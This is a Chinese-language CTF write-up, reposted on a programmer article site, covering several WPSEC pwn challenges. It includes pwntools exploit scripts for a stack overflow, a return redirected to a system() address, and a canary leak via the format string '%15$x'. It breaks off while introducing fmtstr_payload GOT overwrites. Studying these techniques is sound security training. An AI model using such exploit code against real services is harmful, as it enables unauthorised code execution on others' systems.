欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

WPSEC pwn题 wp

程序员文章站 2022-05-15 20:52:33
...

不得不说  今天突然想起来了 去WPSEC 看了看 突然发现有了pwn题 就去刷刷玩玩吧  

突然想起来有一道题 是用z3 做的  但是一直没有跑出来    感觉有点问题 

 然后先看第一题吧 

WPSEC pwn题 wp

很没有基础含量的一道题   可以 直接栈溢出  然后  出来结果 

exp 如下

#!/usr/bin/python
#coding:utf-8

from pwn import*

io=remote("143.248.249.64","9000")

a='a'*52+p32(0xCAFEBABE)

io.sendline(a)
io.interactive()

WPSEC pwn题 wp

然后MD5 一下 就可以了

然后就是第三题  第二题看我的头疼 就不看了  嘿嘿

第三题 先看一下大概的程序流程 

WPSEC pwn题 wp

 可以看得出来   要求的字符串是 base64 而且 解密 长度 小于13    然后 点进 auth  和 correct   发现

WPSEC pwn题 wp

WPSEC pwn题 wp 然后我们看到了  system   这里就感觉很关键   可以直接  直接 构造返回就可以 

然后这里我注意到了 两件事情  

第一:    input 在bss 段  

WPSEC pwn题 wp

第二 :  v4  在 ebp-8h 的位置  我们可以覆盖 4字节的地址 在 ebp 

在主函数的位置上 我们知道   返回地址是 ebp+4 ==esp  

我们只需要 让我们 覆盖的地址 返回到 input的地方  input的地方 只需要 添一个 system函数地址就可以了 

exp 如下

 

#!/usr/bin/python
#coding:utf-8

from pwn import*

io=remote("143.248.249.64","9003")
system_addr=0x08049284
a='a'*4
input_addr=0x0811EB3C
payload=b64e(p32(system_addr)+a+p32(input_addr))
io.sendline(payload)
print payload
io.interactive()

然后就是第四题 

这个题 还是有点好玩的

WPSEC pwn题 wp

 其中 有setvbuf  我就知道不是简单的  栈溢出   果然 在汇编窗口我找到了 这个东西 

WPSEC pwn题 wp

他是拿 FFB6B10C 的地址 来比较  这个应该就是 验证了 我记得以前写过这个  

绕过这个验证也很简单 把这个地址  本来的值  给 记录下来  然后 覆盖后 从新填入就可以了  这个实现起来 并不难  

毕竟有两个gets   然后就开始这个  我调试的时候   第一个gets 是 FFB6B0D0  那么偏移就是  15  这个就容易实现了  

exp

#!/usr/bin/python
#coding:utf-8

from pwn import*

io=remote('172.104.78.53',22002)
system_addr=0x08048553
io.sendline('%15$x')
pro=int(io.recv(),16)
pay='a'*40+p32(pro)+'a'*12+p32(system_addr)
print pay
io.sendline(pay)
io.interactive()

然后就是  第四题 

在第四题前 我想先介绍一个函数  fmtstr_payload 这个是pwntools 自带的函数  有 三个参数  第一个是偏移  

第二个 和第三个就是被写入 和要写入的地址 

例如    fmtstr_payload(offset, {printf_got: system_add})    

然后这道题  先看一下大概内容

WPSEC pwn题 wp

发现并没有什么 可以直接system 的函数 这个就比较尴尬了 

而 用两个函数 直接